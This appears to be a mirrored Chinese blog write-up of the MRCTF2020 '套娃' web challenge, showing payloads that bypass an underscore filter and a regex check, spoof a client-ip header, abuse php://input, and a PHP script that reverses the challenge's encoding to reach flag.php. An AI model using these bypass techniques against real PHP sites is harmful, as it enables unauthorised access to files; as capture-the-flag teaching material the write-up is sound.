zoukankan      html  css  js  c++  java
  • MRCTF2020 套娃

    MRCTF2020套娃

    打开网页查看源代码

    关于$_SERVER['QUERY_STRING']取值,例如:
    http://localhost/aaa/?p=222
    $_SERVER['QUERY_STRING'] = "p=222";
    
    substr_count()函数计算子串在字符串中出现的次数
    PS:子串区分大小写
    

    上述代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’绕过

    通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过

    payload:?b%5Fu%5Fp%5Ft=23333%0a
    

    MRCTF2020二

    打开secrettw.php查看源码

    MRCTF2020三

    复制注释代码放进控制台

    MRCTF2020四

    随便POST一个Merak值,回显如下

    MRCTF2020五

    分析一下代码

    1.需要IP地址为127.0.0.1 在header中加client-ip:127.0.0.1

    2.file_get_contents用php伪协议绕过

    2333=php://input
    post:todat is a happy day
    

    3.change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

    反写change函数,exp:

    <?php
    function unchange($v){ 
        $re = '';
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) - $i*2 ); 
        } 
        return $re; 
    }
    $real_flag = unchange('flag.php');
    echo base64_encode($real_flag);
    ?>
    

    得到ZmpdYSZmXGI=

    用burp传入参数得到flag

    MRCTF2020六

  • 相关阅读:
    About Face 摘录
    断言的使用
    C#中值传递和引用传递
    C++技巧之断言Assert
    About Face 一 目标导向设计
    About Face 二 设计行为与形态
    C++中引用传递与指针传递区别
    一个新的时代SoLoMo
    离散数学笔记算法部分
    汪教授的离散数学20110308 谓词与量词2
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13291746.html
Copyright © 2011-2022 走看看